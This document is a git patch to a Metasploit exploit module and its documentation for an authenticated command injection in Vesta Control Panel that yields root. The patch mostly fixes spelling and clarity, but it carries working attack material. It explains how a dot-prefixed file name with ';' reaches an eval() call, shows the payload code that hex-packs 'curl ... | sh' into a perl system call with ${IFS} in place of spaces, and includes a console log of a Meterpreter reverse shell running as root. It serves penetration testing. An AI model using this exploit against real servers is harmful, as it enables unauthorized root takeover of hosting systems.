From c151b93ba4eafad7f8e75f248bd8a44510ba8b39 Mon Sep 17 00:00:00 2001 From: gwillcox-r7 Date: Mon, 13 Apr 2020 16:28:39 -0500 Subject: [PATCH] Fix up clarity and spelling issues in module and documentation --- .../exploit/linux/http/vestacp_exec.md | 65 +++++++++--------- modules/exploits/linux/http/vestacp_exec.rb | 67 ++++++++++--------- 2 files changed, 68 insertions(+), 64 deletions(-) diff --git a/documentation/modules/exploit/linux/http/vestacp_exec.md b/documentation/modules/exploit/linux/http/vestacp_exec.md index 08d55852d2..00ddc890d3 100644 --- a/documentation/modules/exploit/linux/http/vestacp_exec.md +++ b/documentation/modules/exploit/linux/http/vestacp_exec.md @@ -1,11 +1,11 @@ ## Vulnerable Application This module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user. -An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. During the user backup process, this file name will be evaluated by the v-backup-user bash scripts. As result of that backup process, when an attacker try to list existing backups injected payload will be executed. - +To exploit this vulnerability, an authenticated attacker with low privileges can request VestaCP backup a file whose file name starts with a '.', followed by the ';' character to escape the current command, and finally the command they wish to execute. During the user backup process, this file name will be evaluated by the v-backup-user bash script, which will not perform appropriate input validation prior to passing this file name to an eval() call. As result, when an attacker tries to list existing backups the injected command will be executed by the v-backup-user bash script and will result in the attacker's injected command being executed as the root user. + ## Installing the Vulnerable Application on Ubuntu 18.03 LTS -You can install Vesta Control Panel on Ubuntu 18.04 LTS server with following commands. +You can install Vesta Control Panel on Ubuntu 18.04 LTS server with the following commands: ``` ssh root@your.server @@ -13,36 +13,37 @@ curl -O http://vestacp.com/pub/vst-install.sh bash vst-install.sh ``` -Once you have finished the installation, perform following actions in order to create a unprivileged user. +Once you have finished the installation, perform the following actions in order to create a unprivileged user: -1- Go to https://IP_ADDR:8083/ +1 - Go to https://*IP ADDR*:8083/ -2- Login with your administrator account. +2 - Login with your administrator account. -3- Click on a "User" section under the top navigation menu. When you move your mouse over the "User" text,it will be -turned to orange colour. That's link you need to click! +3 - Click on the "User" section under the top navigation menu. When you move your mouse over the text for +the "User" section, it will turn orange. This is the link that you need to click! -4 - Now you must be on https://IP_ADDR:8083/list/user/ page. +4 - The URL in your browser should now be https://*IP ADDR*:8083/list/user/ -5 - Click on a green plus sign on the left side. When you move your mouse on it, it will say "ADD USER". +5 - Click on the green plus sign on the left side of the page. When you move your mouse +over this button, it will say "ADD USER". -6 - Now you are seeing a user creation form. "user, password, email, first name, last name" fields are required. -Leave package and language options as it. It does not affect on exploitation. +6 - In the following user creation form that appears, enter values for the "user", "password", "email", "first name", +and "last name" fields. Leave package and language options as is, as these fields do not affect exploitation. -7 - Log out from your admin account. +7 - Log out of your admin account. -8 - Go back to URL on the first step. +8 - Browse to https://*IP ADDR*:8083/ -9 - Try to login with unprivileged user. +9 - Verify that the new low privileged user has been created and that you can log in using their credentials. ## Verification Steps -A successful check of the exploit will look like this: +A successful check of the exploit will look similar to the output shown below: 1. Start `msfconsole` -2. `use exploit/linux/http/vestacp_exec ` +2. `use exploit/linux/http/vestacp_exec` 3. Set `RHOST` 4. Set `LHOST` 4. Set `USERNAME` @@ -50,27 +51,27 @@ A successful check of the exploit will look like this: 4. Set `SRVHOST` 4. Set `SRVPORT` 7. Run `exploit` -8. **Verify** that you are seeing `Successfully authenticated to the FTP service` in console. -9. **Verify** that you are seeing `Successfully uploaded the payload as a file name` in console. -9. **Verify** that you are seeing `Successfully authenticated to the HTTP Service` in console. -9. **Verify** that you are seeing `Scheduled backup has ben started. Exploitation may take up to 5 minutes.` in console. -9. **Verify** that you are seeing `It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...` in console. -9. **Verify** that you are seeing `First stage is executed ! Sending 2nd stage of the payload` in console. -15. **Verify** that you are getting meterpreter session. +8. **Verify** that you are seeing `Successfully authenticated to the FTP service` in the console. +9. **Verify** that you are seeing `Successfully uploaded the payload as a file name` in the console. +9. **Verify** that you are seeing `Successfully authenticated to the HTTP Service` in the console. +9. **Verify** that you are seeing `Scheduled backup has ben started. Exploitation may take up to 5 minutes.` in the console. +9. **Verify** that you are seeing `It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...` in the console. +9. **Verify** that you are seeing `First stage is executed ! Sending 2nd stage of the payload` in the console. +15. **Verify** that you are getting a Meterpreter session. ## Ubuntu 18.04 LTS with VestaCP 0.9.26 ``` -msf5 > use exploit/linux/http/vestacp_exec +msf5 > use exploit/linux/http/vestacp_exec msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218 RHOSTS => 192.168.74.218 msf5 exploit(linux/http/vestacp_exec) > set USERNAME user11 USERNAME => user11 msf5 exploit(linux/http/vestacp_exec) > set PASSWORD qwe123 PASSWORD => qwe123 -msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1 +msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1 LHOST => 192.168.74.1 -msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1 +msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1 SRVHOST => 192.168.74.1 msf5 exploit(linux/http/vestacp_exec) > set SRVPORT 8081 SRVPORT => 8081 @@ -78,7 +79,7 @@ msf5 exploit(linux/http/vestacp_exec) > run [*] Exploit running as background job 32. [*] Exploit completed, but no session was created. -[*] Started reverse TCP handler on 192.168.74.1:4444 +[*] Started reverse TCP handler on 192.168.74.1:4444 [*] 192.168.74.218:8083 - Using URL: http://192.168.74.1:8081/poSeL7s msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s [+] 192.168.74.218:21 - Successfully authenticated to the FTP service @@ -88,7 +89,7 @@ msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload [*] 192.168.74.218:8083 - Authenticating to HTTP Service with given credentials [+] 192.168.74.218:8083 - Successfully authenticated to the HTTP Service [*] 192.168.74.218:8083 - Starting scheduled backup. Exploitation may take up to 5 minutes. -[+] 192.168.74.218:8083 - Scheduled backup has been started ! +[+] 192.168.74.218:8083 - Scheduled backup has been started ! [*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz... [*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz... [*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz... @@ -103,7 +104,7 @@ msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload [*] Sending stage (53755 bytes) to 192.168.74.218 [*] Meterpreter session 8 opened (192.168.74.1:4444 -> 192.168.74.218:58790) at 2020-04-11 14:35:23 +0300 -msf5 exploit(linux/http/vestacp_exec) > sessions -i 8 +msf5 exploit(linux/http/vestacp_exec) > sessions -i 8 [*] Starting interaction with 8... meterpreter > shell @@ -115,5 +116,5 @@ uid=0(root) gid=0(root) groups=0(root) meterpreter > shell [+] 192.168.74.218:8083 - It seems scheduled backup is done ..! Triggering the payload <3 -# -``` \ No newline at end of file +# +``` diff --git a/modules/exploits/linux/http/vestacp_exec.rb b/modules/exploits/linux/http/vestacp_exec.rb index edf58ac4d4..9c9f1d24a7 100644 --- a/modules/exploits/linux/http/vestacp_exec.rb +++ b/modules/exploits/linux/http/vestacp_exec.rb @@ -14,13 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "Vesta Control Panel Authenticated Remote Code Execution", 'Description' => %q{ - This module exploits command injection vulnerability in v-list-user-backups bash script file. - Low privileged authenticated users can execute arbitrary commands under the context of the root user. - - An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. - During the user backup process, this file name will be evaluated by the v-backup-user bash script. As - result of that backup process, when an attacker try to list existing backups injected payload will be - executed. + This module exploits an authenticated command injection vulnerability in the v-list-user-backups + bash script file in Vesta Control Panel to gain remote code execution as the root user. }, 'License' => MSF_LICENSE, 'Author' => @@ -74,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote def login # # This is very simple login process. Nothing important. - # We will be using cookie and csrf_token across the module so that we are global variable. + # We will be using cookie and csrf_token across the module as instance variables. # print_status('Retrieving cookie and csrf token values') res = send_request_cgi({ @@ -87,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote end unless res.code == 200 - fail_with(Failure::UnexpectedReply, 'Web server error! Expected HTTP response code is 200.') + fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.") end if res.get_cookies.empty? @@ -133,21 +128,25 @@ class MetasploitModule < Msf::Exploit::Remote end @cookie = res.get_cookies else - fail_with(Failure::UnexpectedReply, 'Web server error! Expected HTTP response code is 302') + fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.") end end def start_backup_and_trigger_payload # - # Once a scheduled backup process is being triggered, v-backup-user script will be executed. + # Once a scheduled backup is triggered, the v-backup-user script will be executed. + # This script will take the file name that we provided and will insert it into backup.conf + # so that the backup process can be performed correctly. # - # One of the thing that v-backup-user is doing is that creates a backup.conf file by using file names from user home folder. - # When the backup process is done, we have our payload in the backup.conf file. After that we can trigger the payload by browsing - # to the /list/backup endpoint. In order to do it, backup process must be finished ! - # - # You will be seeing 'An existing backup is already running' in the response until it finish its job. + # At this point backup.conf should contain our payload, which we can then trigger by browsing + # to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain + # remote code execution) if no other backup processes are currently running. # + # As a result, the exploit will check to see if a backup is currently running. If one is, it will print + # 'An existing backup is already running' to the console until the existing backup is completed, at which + # point it will trigger its own backup to trigger the command injection using the malicious command that was + # inserted into backup.conf print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.') @@ -163,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\// - # Due to the bug in send_request_cgi! we are manually redirect ourselves ! + # Due to a bug in send_request_cgi we must manually redirect ourselves! res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, @@ -171,23 +170,24 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 200 if res.body.include?('An existing backup is already running. Please wait for that backup to finish.') - # We must wait the backup process finish its job ! + # An existing backup is taking place, so we must wait for it to finish its job! print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...') sleep(30) elsif res.body.include?('Task has been added to the queue.') # Backup process is being initiated print_good('Scheduled backup has been started ! ') else - fail_with(Failure::UnexpectedReply, '/list/backup is reachable but replied message is unexpected.') + fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.') end else - # Web server cant reply to the request within given timeout window because of payload the execution in the background ! - # That means we dont have res obj due to timeout, which means our payload executed ! - print_good('It seems scheduled backup is done ..! Triggering the payload <3') + # The web server couldn't reply to the request within given timeout window because our payload + # executed in the background. This means that the res object will be 'nil' due to send_request_cgi() + # timing out, which means our payload executed! + print_good('Payload appears to have executed in the background. Enjoy the shells <3') is_scheduled_backup_running = false end else - fail_with(Failure::UnexpectedReply, '/schedule/backup is not reachable.') + fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.') end end end @@ -195,14 +195,16 @@ class MetasploitModule < Msf::Exploit::Remote def payload_implant # # Our payload will be placed as a file name on FTP service. - # Payload lenght can't be more then 255 and SPACE can't be used because of the - # bug in the backend software. Due to these limitations, I used web delivery method. - # - # When the initial payload executed. It will execute very short perl command, which is going to fetch - # actual python meterpreter first stager and execute it. + # Payload length can't be more then 255 and SPACE can't be used because of a + # bug in the backend software. + # s + # Due to these limitations, the payload is fetched using curl before then + # being executed with perl. This perl script will then fetch the full + # python payload and execute it. # final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" + # Yet another datastore variable overriding. if datastore['SSL'] ssl_restore = true @@ -251,7 +253,8 @@ class MetasploitModule < Msf::Exploit::Remote def start_http_server # # HttpClient and HttpServer use same SSL variable :( - # We don't need a SSL for payload delivery. + # We don't need SSL for payload delivery so we + # will disable it temporarily. # if datastore['SSL'] ssl_restore = true @@ -264,10 +267,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Path' => resource_uri }}) print_status("Second payload download URI is #{get_uri}") - # We need that instance variable since get_uri keep using SSL from datastore - # We have to get the URI before restoring the SSL. + # We need to use instance variables since get_uri keeps using + # the SSL setting from the datastore. + # Once the URI is retrieved, we will restore the SSL settings within the datastore. @second_stage_url = get_uri datastore['SSL'] = true if ssl_restore end end -